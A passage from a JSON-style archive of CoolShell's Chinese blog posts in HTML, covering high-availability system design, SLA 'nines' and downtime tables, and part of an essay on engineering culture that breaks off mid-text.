可以为用户完全透明的提升性能和稳定性，我大致找到了相应的解，现在，我正在实践的路上，这也许是笔大买卖，所以我不知天高地厚地注册了自己的公司……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/4235.html\"><img alt=\"程序员的谎谬之言还是至理名言？\" height=\"150\" src=\"../wp-content/uploads/2011/04/wisdom-225x300-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/4235.html\">程序员的谎谬之言还是至理名言？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/9156.html\"><img alt=\"《Rework》摘录及感想\" height=\"150\" src=\"../wp-content/uploads/2013/03/rework-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/9156.html\">《Rework》摘录及感想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/10688.html\"><img alt=\"编程能力与编程年龄\" height=\"150\" src=\"../wp-content/uploads/2013/11/StackOverflow-Analysis-01-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/10688.html\">编程能力与编程年龄</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11656.html\"><img alt=\"开发团队的效率\" height=\"150\" src=\"../wp-content/uploads/2014/06/software_development-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11656.html\">开发团队的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/10217.html\"><img alt=\"加班与效率\" height=\"150\" src=\"../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/10217.html\">加班与效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11432.html\"><img alt=\"从Code Review 谈如何做技术\" height=\"150\" src=\"../wp-content/uploads/2014/04/code_review-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17446.html\">这多年来我一直在钻研的技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2016-8-21 关于高可用的系统.html",
    "content": "<html><body><p><img alt=\"HighAvailability-BK\" class=\"alignright size-medium wp-image-17475\" height=\"300\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-300x300.png\" width=\"300\"/>在《<a href=\"https://coolshell.cn/articles/17446.html\" target=\"_blank\">这多年来我一直在钻研的技术</a>》这篇文章中，我讲述了一下，我这么多年来一直在关注的技术领域，其中我多次提到了工业级的软件，我还以为有很多人会问我怎么定义工业级？以及一个高可用性的软件系统应该要怎么干出来？这样我也可以顺理成章的写下这篇文章，但是没有人问，那么，我只好厚颜无耻的自己写下这篇文章了。哈哈。</p>\n<p>另外，我在一些讨论高可用系统的地方看到大家只讨论各个公司的技术方案，<strong>其实，高可用的系统并不简单的是技术方案，一个高可用的系统其实还包括很多别的东西，所以，我觉得大家对高可用的系统了解的还不全面，为了让大家的认识更全面，所以，我写下这篇文章</strong>。</p>\n<h4>理解高可用系统</h4>\n<p>首先，我们需要理解什么是高可用，英文叫High Availability（<a href=\"https://en.wikipedia.org/wiki/High_availability\">Wikipedia词条</a>），基本上来说，就是要让我们的计算环境（包括软硬件）做到full-time的可用性。在设计上一般来说，需要做好如下的设计：</p>\n<p><span id=\"more-17459\"></span></p>\n<ol>\n<li>对软硬件的冗余，以消除单点故障。任何系统都会有一个或多个冗余系统做standby</li>\n<li>对故障的检测和恢复。检测故障以及用备份的结点接管故障点。这也就是failover</li>\n<li>需要很可靠的交汇点（CrossOver）。这是一些不容易冗余的结点，比如域名解析，负载均衡器等。</li>\n</ol>\n<p>听起似乎很简单吧，然而不是，细节之处全是魔鬼，冗余结点最大的难题就是对于有状态的结点的数据复制和数据一致性的保证（无状态结点的冗余相对比较简单）。冗余数据所带来的一致性问题是魔鬼中的魔鬼：</p>\n<ul>\n<li>如果系统的数据镜像到冗余结点是异步的，那么在failover的时候就会出现数据差异的情况。</li>\n</ul>\n<ul>\n<li>如果系统在数据镜像到冗余结点是同步的，那么就会导致冗余结点越多性能越慢。</li>\n</ul>\n<p>所以，很多高可用系统都是在做各种取舍，这需要比对着业务的特点来的，比如银行账号的余额是一个状态型的数据，那么，冗余时就必需做到强一致性，再比如说，订单记录属于追加性的数据，那么在failover的时候，就可以到备机上进行追加，这样就比较简单了（阿里目前所谓的异地双活其实根本做不到状态型数据的双活）。</p>\n<p>下面，总结一下高可用的设计原理：</p>\n<ul>\n<li>要做到数据不丢，就必需要持久化</li>\n<li>要做到服务高可用，就必需要有备用（复本），无论是应用结点还是数据结点</li>\n<li>要做到复制，就会有数据一致性的问题。</li>\n<li>我们不可能做到100%的高可用，也就是说，我们能做到几个9个的SLA。</li>\n</ul>\n<h4>高可用系统的技术解决方案</h4>\n<p>我在《<a href=\"https://coolshell.cn/articles/10910.html\" target=\"_blank\">分布式系统的事务处理</a>》中引用过下面这个图：这个图来自来自：Google App Engine的co-founder Ryan Barrett在2009年的Google I/O上的演讲《<a href=\"http://snarfed.org/transactions_across_datacenters_io.html\" target=\"_blank\">Transaction Across DataCenter</a>》（视频： <a href=\"http://www.youtube.com/watch?v=srOgpXECblk\" target=\"_blank\" title=\"阿里旺旺无法确定该链接的安全性\">http://www.youtube.com/watch?v=srOgpXECblk</a>）</p>\n<p><img alt=\"Transaction Across DataCenter\" class=\"size-full wp-image-10942 aligncenter\" height=\"255\" src=\"../wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg\" width=\"566\"/></p>\n<p>这个图基本上来说是目前高可用系统中能看得到的所有的解决方案的基础了。M/S、MM实现起来不难，但是会有很多问题，2PC的问题就是性能不行，而Paxos的问题就是太复杂，实现难度太大。</p>\n<p>总结一下各个高可用方案的的问题：</p>\n<ul>\n<li>对于最终一致性来说，在宕机的情况下，会出现数据没有完全同步完成，会出现数据差异性。</li>\n<li>对于强一致性来说，要么使用性能比较慢的<a href=\"https://en.wikipedia.org/wiki/X/Open_XA\">XA系</a>的两阶段提交的方案，要么使用性能比较好，但是实现比较复杂的Paxos协议。</li>\n</ul>\n<p>注：这是软件方面的方案。当然，也可以使用造价比较高的硬件解决方案，不过本文不涉及硬件解决方案。</p>\n<p>另外，现今开源软件中，很多缓存，消息中间件或数据库都有持久化和Replication的设计，从而也都有高可用解决方案，但是开源软件一般都没有比较高的SLA，所以，如果我们使用开源软件的话，需要注意这一点。</p>\n<h4>高可用技术方案的示例</h4>\n<p>下面，我们来看一下MySQL的高可用的方案的SLA（下图下面红色的标识表示了这个方案有几个9）：</p>\n<p><a href=\"http://www.slideshare.net/andrewjamesmorgan/mysql-high-availability-solutions-feb-2015-webinar\"><img alt=\"mysql-high-availability-solutions-feb-2015-webinar-9-638\" class=\"aligncenter size-full wp-image-17461\" height=\"359\" src=\"../wp-content/uploads/2016/08/mysql-high-availability-solutions-feb-2015-webinar-9-638.jpg\" width=\"638\"/></a></p>\n<p style=\"text-align: center;\">图片来源：<a href=\"http://www.slideshare.net/andrewjamesmorgan/mysql-high-availability-solutions-feb-2015-webinar\">MySQL High Availability Solutions</a></p>\n<p>简单解释一下MySQL的这几个方案（主要是想表达一个越多的9就越复杂）</p>\n<ul>\n<li>MySQL Repleaction就是传统的异步数据同步或是半同步Semi-Sync（只要有一个slave收到更新就返回成功）这个方式本质上不到2个9。</li>\n<li>MySQL Fabric简单来说就是数据分片下的M/S的读写分离模式。这个方案的的可用性可以达到99%</li>\n<li>DRBD通过底层的磁盘同步技术来解决数据同步的问题，就是RAID 1——把两台以上的主机的硬盘镜像成一个。这个方案不到3个9</li>\n<li>Solaris Clustering/Oracle VM ，这个机制监控了包括硬件、操作系统、网络和数据库。这个方案一般会伴随着节点间的“心跳机制”，而且还会动用到SAN（Storage Area Network）或是本地的分布式存储系统，还会动用虚拟化技术来做虚拟机的迁移以降低宕机时间的概率。这个解决方案完全就是一个“全栈式的解决方案”。这个方案接近4个9。</li>\n<li>MySQL Cluster是官方的一个开源方案，其把MySQL的集群分成SQL Node 和Data Node，Data Node是一个自动化sharing和复制的集群NDB，为了更高的可用性，MySQL Cluster采用了“完全同步”的数据复制的机制来冗余数据结点。这个方案接近5个9。</li>\n</ul>\n<p>那么，这些2个9，3个9，4个9，5个9是什么意思呢？又是怎么来的呢？请往下看。</p>\n<h4>高可用性的SLA的定义</h4>\n<p><strong>上面那些都不是本文的重点，本文的重点现在开始，如何测量系统的高可用性</strong>。当然是SLA，全称<a href=\"https://en.wikipedia.org/wiki/Service-level_agreement\" target=\"_blank\">Service Level Agrement</a>，也就是有几个9的高可用性。</p>\n<p>工业界有两种方法来测量SLA，</p>\n<ul>\n<li>一个是故障发生到恢复的时间</li>\n<li>另一个是两次故障间的时间</li>\n</ul>\n<p>但大多数都采用第一种方法，也就是故障发生到恢复的时间，也就是服务不可用的时间，如下表所示：</p>\n<table align=\"center\" class=\"wikitable\">\n<tbody>\n<tr>\n<th>系统可用性%</th>\n<th>宕机时间/年</th>\n<th>宕机时间/月</th>\n<th>宕机时间/周</th>\n<th>宕机时间/天</th>\n</tr>\n<tr>\n<td align=\"left\">90% (1个9)</td>\n<td>36.5 天</td>\n<td>72 小时</td>\n<td>16.8 小时</td>\n<td>2.4 小时</td>\n</tr>\n<tr>\n<td align=\"left\">99% (2个9)</td>\n<td>3.65 天</td>\n<td>7.20 小时</td>\n<td>1.68 小时</td>\n<td>14.4 分</td>\n</tr>\n<tr>\n<td align=\"left\">99.9% (3个9)</td>\n<td>8.76 小时</td>\n<td>43.8 分</td>\n<td>10.1 分钟</td>\n<td>1.44 分</td>\n</tr>\n<tr>\n<td align=\"left\">99.99% (4个9)</td>\n<td>52.56 分</td>\n<td>4.38 分</td>\n<td>1.01 分钟</td>\n<td>8.66 秒</td>\n</tr>\n<tr>\n<td align=\"left\">99.999% (5个9)</td>\n<td>5.26 分</td>\n<td>25.9 秒</td>\n<td>6.05 秒</td>\n<td>0.87 秒</td>\n</tr>\n</tbody>\n</table>\n<p>比如，99.999%的可用性，一年只能有5分半钟的服务不可用。感觉很难做到吧。</p>\n<p><strong>就算是3个9的可用性，一个月的宕机时间也只有40多分钟，看看那些设计和编码不认真的团队，把所有的期望寄托在人肉处理故障的运维团队， 一个故障就能处理1个多小时甚至2-3个小时，连个自动化的工具都没有，还好意思在官网上声明自己的SLA是3个9或是5个9，这不是欺骗大众吗？</strong>。</p>\n<h4>影响高可用的因素</h4>\n<p>老实说，我们很难计算我们设计的系统有多少的可用性，因为影响一个系统的因素实在是太多了，除了软件设计，还有硬件，还有每三方的服务（如电信联通的宽带SLA），当然包括“建筑施工队的挖掘机”。所以，正如SLA的定义，<strong>这不仅仅只是一个技术指标，而是一种服务提供商和用户之间的contract或契约</strong>。<strong>这种工业级的玩法，就像飞机一样，并不是把飞机造出来就好了，还有大量的无比专业的配套设施、工具、流程、管理和运营</strong>。</p>\n<p>简而言之，SLA的几个9就是能持续提供可用服务的级别，不过，工业界中，会把服务不可用的因素分成两种：一种是有计划的，一种是无计划的。</p>\n<h5>无计划的宕机原因</h5>\n<p>下图来自Oracle的 《<a href=\"https://docs.oracle.com/cd/A91202_01/901_doc/rac.901/a89867/pshavdtl.htm\">High Availability Concepts and Best Practices</a>》</p>\n<p> </p>\n<h5><img alt=\"unplaned_downtime\" class=\"aligncenter size-full wp-image-17467\" height=\"602\" src=\"../wp-content/uploads/2016/08/unplaned_downtime.gif\" width=\"600\"/>有计划的宕机原因</h5>\n<p>下图来自Oracle的 《<a href=\"https://docs.oracle.com/cd/A91202_01/901_doc/rac.901/a89867/pshavdtl.htm\">High Availability Concepts and Best Practices</a>》</p>\n<p><img alt=\"planned_downtime\" class=\"aligncenter size-full wp-image-17466\" height=\"356\" src=\"../wp-content/uploads/2016/08/planned_downtime.gif\" width=\"600\"/></p>\n<p> </p>\n<p>我们可以看到，上面的宕机原因包括如下：</p>\n<p>无计划的</p>\n<ul>\n<li>系统级的故障 –  包括主机、操作系统、中间件、数据库、网络、电源以及外围设备</li>\n<li>数据和中介的故障 – 包括人员误操作、硬盘故障、数据乱了</li>\n<li>还有：自然灾害、人为破坏、以及供电问题。</li>\n</ul>\n<p>有计划的</p>\n<ul>\n<li>日常任务：备份，容量规划，用户和安全管理，后台批处理应用</li>\n<li>运维相关：数据库维护、应用维护、中间件维护、操作系统维护、网络维护</li>\n<li>升级相关：数据库、应用、中间件、操作系统、网络、包括硬件升级</li>\n</ul>\n<h4>真正决定高可用系统的本质原因</h4>\n<p>从上面这些会影响高可用的SLA的因素，你看到了什么？如果你还是只看到了技术方面或是软件设计的东西，那么你只看到了冰山一角。我们再仔细想一想，<strong>那个5个9的SLA在一年内只能是5分钟的不可用时间，5分钟啊，如果按一年只出1次故障，你也得在五分钟内恢复故障，让我们想想，这意味着什么？</strong></p>\n<p><strong>如果你没有一套科学的牛逼的软件工程的管理，没有牛逼先进的自动化的运维工具，没有技术能力很牛逼的工程师团队，怎么可能出现高可用的系统啊</strong>。</p>\n<p>是的，<strong>要干出高可用的系统，这TMD就是一套严谨科学的工程管理</strong>，其中包括但不限于了：</p>\n<ul>\n<li>软件的设计、编码、测试、上线和软件配置管理的水平</li>\n<li>工程师的人员技能水平</li>\n<li>运维的管理和技术水平</li>\n<li>数据中心的运营管理水平</li>\n<li>依赖于第三方服务的管理水平</li>\n</ul>\n<p>深层交的东西则是——对工程这门科学的尊重：</p>\n<ul>\n<li>对待技术的态度</li>\n<li>一个公司的工程文化</li>\n<li>领导者对工程的尊重</li>\n</ul>\n<p><strong>所以，以后有人在你面前提高可用，你要看的不是他的技术设计，而还要看看他们的工程能力，看看他们公司是否真正的尊重工程这门科学</strong>。</p>\n<h4>其它</h4>\n<p>有好些非技术甚至技术人员和我说过，做个APP做个网站，不就是找几个码农过来写写代码嘛。等系统不可用的时候，他们才会明白，要找技术能力比较强的人，但是，<strong>就算你和他们讲一万遍道理，他们也很难会明白写代码怎么就是一种工程了，而工程怎么就成了一门科学了。其实，很多做技术的人都不明白这个道理</strong>。</p>\n<p>包括很多技术人员也永远不会理解，为什么要做好多像Code Review、自动化运维、自动化测试、持续集成之类这样很无聊的东西。就像我在《<a href=\"https://coolshell.cn/articles/11432.html\" target=\"_blank\">从Code Review 谈如何做技术</a>》中提到的，阿里很多的工程师，架构师/专家，甚至资深架构师都没有这个意识，当然，这不怪他们，因为经历决定思维方式，他们的经历的是民用级的系统，做的都是堆功能的工作，的确不需要。</p>\n<p>看完这些，最后让我们都扪心自问一下，你还敢说你的系统是高可用的了么？ ;-)</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10910.html\"><img alt=\"分布式系统的事务处理\" height=\"150\" src=\"../wp-content/uploads/2014/01/trade-off-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10910.html\">分布式系统的事务处理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2016-9-18 什么是工程师文化？.html",
    "content": "<html><body><p><img alt=\"engineer\" class=\"alignright size-full wp-image-17500\" height=\"203\" src=\"../wp-content/uploads/2016/09/engineer.jpg\" width=\"300\"/> 四年前，我在QCon上演讲了一个《<a href=\"http://www.infoq.com/cn/presentations/Form-powerful-team\" target=\"_blank\">建一支强大的小团队</a>》（整理后的<a href=\"http://vdisk.weibo.com/s/gN-sQ/1351485199\">PPT分享于这里</a>）提到了工程师文化，今天，我想在这里再写一篇关于工程师文化的文章，一方面是因为我又有了一些想法和体会，另一方面，因为我也正走在创业的道路，毫无疑问，要建一个有浓重的工程师文化的团队或公司，所以有必要把自己的相关想法形有成白底黑字的“字据”，以供打自己的脸——“要是未来没有做到，这篇文章就打我未来的脸” || “这篇文章太幼稚了，未来的我会打我现在的脸”，当然，如果要打脸，我希望是前者。</p>\n<p>Again，<strong>这篇文章不是招人的贴子，因为我觉得，招聘第一重要的事，不是发招聘广告或是找猎头挖人，而是先得让自己变成一个能配得上真正工程师的公司，然后再谈吸引人的事</strong>。</p>\n<h4>为什么要工程师文化</h4>\n<p>看看最近二十年来社会的发展，计算机和互联网已经渗透到了这个社会的每一个角落，各式各样的计算机技术成为了整个世界发展的强大引擎，各式各样的创新，无论是业务创新还是技术创新，都是依托于技术的快速演进，技术成了解放生产力提高社会运作的效率的中坚力量。以美帝为首的技术创新公司着着实实的改变着这个世界和人类的生活和生产习惯。</p>\n<p><strong>今天，每个从事计算机行业的技术人员都应该感到幸运，因为，我们不但选对了行业，也出生在了正确的时代，可以感受到前所未有的刺激和变化，相比起我们的父辈，我们的人生，能经历这样的时代，实在是一种幸运。</strong>所以，选对了职业并出生在了正确的年代的我们，此时只需要思考的一个问题，那就是，我是否呆在了正确的地方用正确的方式做事？</p>\n<p><span id=\"more-17497\"></span></p>\n<p>在我看来，这个世界上有三种商业公司，</p>\n<ul>\n<li><strong>运营或销售驱动型的公司</strong>。这类的公司以运营和营销见长，技术对于他们来说，更多的只是为了支持大规模的营销活动，以及成本上的控制，所以，基本上来说不太需要技术创新。这种公司最大的问题就是缺乏安全感。</li>\n</ul>\n<ul>\n<li><strong>产品驱动型的公司</strong>。这类公司以产品见长，通过创造能提升用户生活体验的产品见长，技术对于他们来说，除了支持大规模的在线用户之外，他们会更多的去寻找那些为了增强用户体验，提高整个业务流程效率的技术创新。比如：UI的交互方面的，整个业务流程方面的。这种公司最大的问题，就是容易被别人模仿和抄袭。</li>\n</ul>\n<ul>\n<li><strong>技术驱动型的公司</strong>。这类的公司相信技术能改变世界，他们更多的是用强大的工程技术来创造有颠覆性的东西，更多的是用各种自动化的技术取代人类。比如：近代的蒸汽机技术取代了大量的人工，数字技术取代了大量信息传递的人工，现代，这类公司还希望通过人工智能来取代愚蠢的人类来做决定。这种公司最大的问题就是可能做出叫好不叫座的东西。</li>\n</ul>\n<p>这三种公司都可能成功，也都有问题，但是，无一例外，他们都需要强大的技术支撑，只不过，他们把技术所放在的位置不一样。</p>\n<p>无论你有多么的看不起技术人员，你都无法否认，你今天的生活相当的依赖这帮工程师，没有他们，你恐怕都不知道怎么生活了。邓爷爷几十年前就说过——“科学技术是第一生产力” ，无论什么样的科学技术的理论要落地都会依赖于工程技术有多先进。</p>\n<p>所以，<strong>在今天，作为一个IT或互联网公司，“工程师文化”不是一个问题，而是一个常识</strong>！</p>\n<h4>工程师文化的特征</h4>\n<p>我下面罗列的这些特征，来源于：Google的《<a href=\"https://book.douban.com/subject/26582822/\">重新定义公司</a>》，我在Amazon的工作经历，37Signals的《<a href=\"https://coolshell.cn/articles/9156.html\" target=\"_blank\">Rework</a>》，Quora上的 <a href=\"https://www.quora.com/What-makes-a-good-engineering-culture\">What Makes Good Engineering Culture?</a>  Slideshare上的 <a href=\"http://www.slideshare.net/edmondlau/what-makes-a-great-engineering-culture\">What Makes Good Engineering Culture</a>，以及我最近这半年来的一些实践。</p>\n<p>简单说来，<strong>我可以简单的把这多的工程师文化的总结成两大类：“自由” 和 “效率”</strong>。</p>\n<p>本来还应该有个“创新”，但我个人认为，<strong>创新的前提是——在自由的环境下对提高效率的痴迷，就一定会发生创新。</strong></p>\n<p>创新不是凭空出现新的东西，其实，<strong>观察一下人类的发展史，不难发现，几乎所有的创新基本上跳出原来的思维模式用新的思维模式对原有问题的效率进行质的提升</strong>。比如：通信、交通、医疗、教育、生活……几乎全都是在优化效率。</p>\n<p>所以，如果你的精神不自由，你很难跳出老的思维模式，你用老的思维模式你一定不会想到新的方法和方式，如果不是对效率的提升，这个创新可能会不接地气。</p>\n<p>因此，我认为，工程师文化就是自由加效率！</p>\n<h4>自由</h4>\n<p>首先，工程师文化意味的创新文化，工程师都是有创新冲动的人，因为手里有创造技能的人通常都会有想创造点什么的冲动。而创新的源泉水来源于精神的解放，精神自由才会引发各式各样的奇思怪想，才会有常人觉得不可能的疯狂想法和想像力，而这些想法和想像力导致了创新。</p>\n<p>精神上的自由具体表现在：</p>\n<ul>\n<li><strong>自我驱动</strong>。自己管理自己是最好的管理。最失败的管理就是家长和保姆式的管理。兴趣出发的工作才可能迸发出真正的动力。</li>\n</ul>\n<ul>\n<li><strong>灵活的工作时间和地点</strong>。工程师们更多的是脑力工作，而不是体力工作，工作上时间和地点的自由安排可以让工程师们的脑力工作更有效。Remote是一个很不错的工作方式，开源社区基本上都是这钟方式。和Remote有关的话题可参看37Signals的这本书《<a href=\"https://book.douban.com/subject/25861795/\" target=\"_blank\">Remote</a>》</li>\n</ul>\n<ul>\n<li><strong>信息平等</strong>。这意味着，全体员工得到的是原始信息，而不是被管理者们层层加工消化后的信息，信息的屏蔽很容易造成误解和完全错误的行为。信息的平等，大的包括战略、方向、目标、财务，小的包括文档、代码、和知识的共享等。同样，也表现在意见表达上，任何人都有可能表达自己的意见和建议的平等机会，这样才会激发出更多的思路和思辩，从而有不同的更好的思路出现。而不是，大家都看到了问题，而没有人敢说。在Google除了代码全员共享，还有Thanks God, It’s Friday的文化，每周五，高管们会出来，任员工提各种尖锐的问题，在Amazon，代码和文档基本上全员开放，包括财务报表也对员工开放，另外，除了所有的NB的Principle SDE隔三岔五都会有一个Principle Talk（有很多Talk相当令人开脑洞），还有Amazon内部的Up the River文化，每年会选出一批公司最聪明最有想法的人集思会，讨公司下一步的和战略，并可以把相应的KPI直接按给Senior VP。</li>\n</ul>\n<ul>\n<li><strong>不害怕错误</strong>。处理错误的正确的姿势是分析总结教训，而不是惩罚故障人。前者让人改善进步，后者让人萎缩不前。最大的错误就是不敢犯错，最大的问题就是不敢直面问题。</li>\n</ul>\n<ul>\n<li><strong>宽松的审批系统甚至没有审批系统</strong>。审批通常暗示着三件事，1）对人的不完全信任，2）繁琐的流程，3）思维上的束缚。这些都是创新和想像力的天敌。一个公司的监管、审批、流程越重，这个公司的活力也就越差。</li>\n</ul>\n<ul>\n<li><strong>20%的自由时间</strong>。这是Google公司提出来的，员工有20%自由的时间做自己想做的项目，Gmail就是这么出来的。</li>\n</ul>\n<h4>效率</h4>\n<p>工程师天生是追求效率的。有人说认为程序员花大量的时间做自动化的工具，还不如人肉的效率高，比如，写自动化的脚本花5个小时，而重复做这件事200次只花3个小时。有这样的理解的人根本不懂工程。</p>\n<p>一方面，这个工具可以共享重用，更多的人可以从中受益，这次我花5个小时开发这个工具，下次只用1小时改一下就可以用在别的地方，这是着眼于未来而不是眼下的成本。更重要的是，这是一种文化，一种提高效率的文化，他会鼓励和激发出更多的这样的事情发生。<strong>如果你因为一个程序员花大量的时间开发自动化的工具，而认为这个程序员没有效率，对之批评甚至惩罚的话，那么你就扼杀了提高效率的文化</strong>（关于效率，大家可以看看我的另一篇文章《<a href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\">关于加班和效率</a>》，你会真正了解什么是效率）</p>\n<p><strong>人类之所以比别的动物聪明就是会使用和发明工具</strong>，而古语也有云：“工欲善其事，必先利其器”，看看美军的装备你就知道战争工具的好坏有多重要了，<strong>一个公司的强大之处在执行力，而执行力的强大之处在于你有什么样的支持工具。这些，已经不是工程师文化，而是人类发展的文化</strong>。</p>\n<p>针对于工程师文化来说，尤其是软件工程，提升工程效率的具体表现如下：</p>\n<ul>\n<li><strong>简化</strong>。简化不是简陋，简单的东西通常意味着用户更好理解，也意味着更容易的维护和运维。就像阿里推行的“小而美”，就像乔布期推崇的“没有产品手册简单易用的产品”，就像Amazon推行的Working Backwards里说的那样，一个新的产品或功能，产品经理需要写三个文档：媒体公关文、用户手册、常见问题，三个文档总共加起来不超过两页A4纸，且不准用任何图片说明，目的就是为了让产品简化和容易使用。</li>\n</ul>\n<ul>\n<li><strong>残酷无情的推行自动化</strong>。编写程序的最本质的目的就是自动化，看看人类发展史上自动化了多少东西。<strong>对于自动化来说，不仅仅只是消除人肉的重复劳动，更重要的是，很多事情人完全干不过机器。</strong>比如：加一台机器，程序在秒级就可以完成，而人是永远不可能达到这样的速度的，再比如：电商中用程序管理数量巨大的订单的自动化系统，加再多的人都完成的不可能像机器那样完成的又好又快。自动化需要大力开发提高生产力的工具，比如：持续集成，持续部署，自动化运维，基础自动化运维，甚至自动化的运营工具。（Amazon的软件工程中对自动化和简代相当迷恋）</li>\n</ul>\n<ul>\n<li><strong>避免无效率的组织架构和无效率的管理</strong>。这体现在这些方面：1）扁平化的组织架构，2）努力用自动化工具取代支持型的工作，3）不超过10个人的全栈小团队，4）不按人员的技能分工而是按其负责的产品或功能分工（关于分工，请参看《<a href=\"https://coolshell.cn/articles/17295.html\" target=\"_blank\">让我们来谈谈分工</a>》），5）开会不是解决问题，开会是表决提案，6）通过产品的目标或信条Tenets来减少沟通和决策过程（Amazon里的每个部门，每个团队，每个产品都有自己的Tenets，这个Tenets标明了要什么不要什么，这样可以避免很多扯皮和难缠的trade-off的决择，比如：AWS的几个信条：运维是最高优级的——这意味着只要是会让运维变得复杂的需求都可能会工程团队被拒掉，Throughput &amp; Latency不能更差——这意味着，功能要为性能让路，因为性能变差了，用户就要买更多的资源）</li>\n</ul>\n<ul>\n<li><strong>正确的组件抽象</strong>。抽象是简化的一部份，一方面，抽象意味着重用和通用，另一方面抽象意味着强大的扩展性，以适配各种可能性。最重要的是，抽象意味着技术能力的输出，无论是内部的其它团队还外部的团队。比如：Google的MapReduce/BigTable/ProtoBuffer，FaceBook的Thrift，还有Amazon内部的WebService框架Coral Service、处理日志监控的Timber，以及全线AWS产品都用到的Amazon Lock Framework（一个分布式锁框架）……</li>\n</ul>\n<ul>\n<li><strong>开发高质量的产品</strong>。因为高质量的代码，不但可以容易的修改和维护，还可以因为少处理线上故障，从而有更多的时间去为未来做更多创造性的工作。这意味着需要有非常严谨的Design Review，Code Review，以及测试，关于Code Review，可以参看这篇文章《<a 